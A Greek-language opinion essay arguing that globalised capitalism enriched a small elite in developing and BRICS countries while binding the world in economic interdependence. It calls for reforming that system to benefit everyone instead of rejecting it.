Ωστόσο πολλές χώρες της υπανάπτυκτης ζώνης του πλανήτη, κατάφεραν με τις ευκαιρίες που προσφέρει η νέα διαμόρφωση του συστήματος, να περάσουν στην άλλη όχθη. Οι BRICS, για παράδειγμα, η Γκάνα στην Αφρική, η Χιλή στην Λ. Αμερική, το Καζακστάν και Ουζμπεκιστάν στην Κ. Ασία, η Ινδονησία και η Ν. Ζηλανδία, και άλλες χώρες, εφαρμόζοντας το μέρος ή το όλον των μεταρρυθμίσεων, κατάφεραν να προσελκύσουν διεθνή κεφάλαια, αλλά δυστυχώς συνέβη μια «απρόβλεπτη» εξέλιξη. Μια «αναπάντεχη» τροπή. Εκείνοι που ωφελήθηκαν σ' αυτές τις χώρες ήταν ένα μικρό κοινωνικό στρώμα που συνδέθηκε με την διεθνή αγορά. Οι πλειοψηφίες των πληθυσμών κατέβηκαν σε ακόμα χαμηλότερα επίπεδα στη κλίμακα της φτώχειας.

Συμμετέχοντας στις διαδικασίες της διεθνούς αγοράς η Κίνα αύξησε το ΑΕΠ κατά 164% από το 2003 έως το 2013. Η Ινδία κατά 100% ενώ η Βραζηλία, η Ν. Αφρική και η Ρωσία κατά 45%. Οι επιδόσεις αυτές είχαν και έχουν τεράστια σημασία για τη Δύση. Ενισχύουν τη παραγωγή τους και δημιουργούν νέες θέσεις εργασίας. Για παράδειγμα το ένα από τα δύο αυτοκίνητα που πουλά η αμερικανική GM είναι στη Κίνα. Οι αμερικανικοί τίτλοι ιδιοκτησίας που κατέχει η Κίνα πλησιάζουν το ένα τρις δολάρια ενώ τα συναλλαγματικά της διαθέσιμα κατά 70% είναι σε δολάρια. Αυτού του είδους της διεθνούς αλληλεξάρτησης που επέφερε η νέα οικονομική διάρθρωση θεωρείται από τα θετικά της στοιχεία και θα πρέπει να διαφυλαχθεί. Το tapering όμως, δηλαδή ο περιορισμός της χαλάρωσης που επιχειρεί η

Αμερική για να ελέγξει την οικονομική της πορεία, θα μπορούσε να βλάψει την ανάπτυξη των BRICS, με δυσμενείς επιπτώσεις γενικά για τη Δύση.

Όλα αυτά μαρτυρούν ότι ολόκληρος ο κόσμος στηρίζεται πάνω σε σχέσεις αλληλεξάρτησης των χωρών και πως δεν υπάρχουν πλέον εθνικά και απαραβίαστα τείχη όπου θα μπορούσε να νιώσει κανείς ασφαλής. Στη προοπτική αυτό σημαίνει πως κάθε χώρα οφείλει να μεριμνά για την εξόντωση των αρνητικών καταστάσεων σε κάθε άλλη και το αντίθετο.

Υπάρχουν τρεις κατηγορίες ανθρώπων που εμπλέκονται με την νέα καπιταλιστική διαμόρφωση. Οι απαθείς, οι υποστηρικτές της και οι πολέμιοι της. Και οι τρεις ομάδες είτε είναι πολιτικοί είτε αναλυτές είτε οργανωμένες αθροίσεις πολιτών έχουν πάρει λάθος στάση κατά τη γνώμη μου. Εκείνο που χρειάζεται είναι να εξεταστούν και να αναλυθούν οι παράμετρες του νέου κοινωνικοοικονομικού πλάσματος και να απομακρυνθούν τα επιζήμια στοιχεία του ενώ τα ωφέλιμα να διατηρηθούν. Δεδομένου ότι δεν υπάρχει ούτε στην μακροπρόθεσμη προοπτική κανένα άλλο σύστημα δίπλα στον αδύναμο άνθρωπο, δεδομένου ότι το υπάρχον είναι το σύστημα των δυνατών, θα πρέπει αυτό το τελευταίο να «εξανθρωπιστεί» και να λειάνει τις κόψεις του ώστε να αποβεί ωφέλιμο για το σύνολο και όχι για το μικρό μέρος της κοινωνίας των ανθρώπων.

Ήδη ακούω πολλούς να αποκρούουν αυτή τη τελευταία ιδέα πιστεύοντας ότι το σύστημα δεν επιδέχεται ρεφορμιστικές βελτιώσεις. Θα πρέπει να καταρριφθεί. Και όμως όλα μπορούν να δεχθούν βελτιώσεις μέσα από τις οποίες θα προκύψουν νέες πολιτικές διαμορφώσεις πιο σύνθετες και ποικίλες με συνείδηση λεπτότητας και ανθρωπισμού, σε αντίθεση με την χοντροκομμένη δυσμορφία και την αξιακή μονοθεματικότητα του χρήματος που προβάλλεται σήμερα.

Θάνος Πεδινός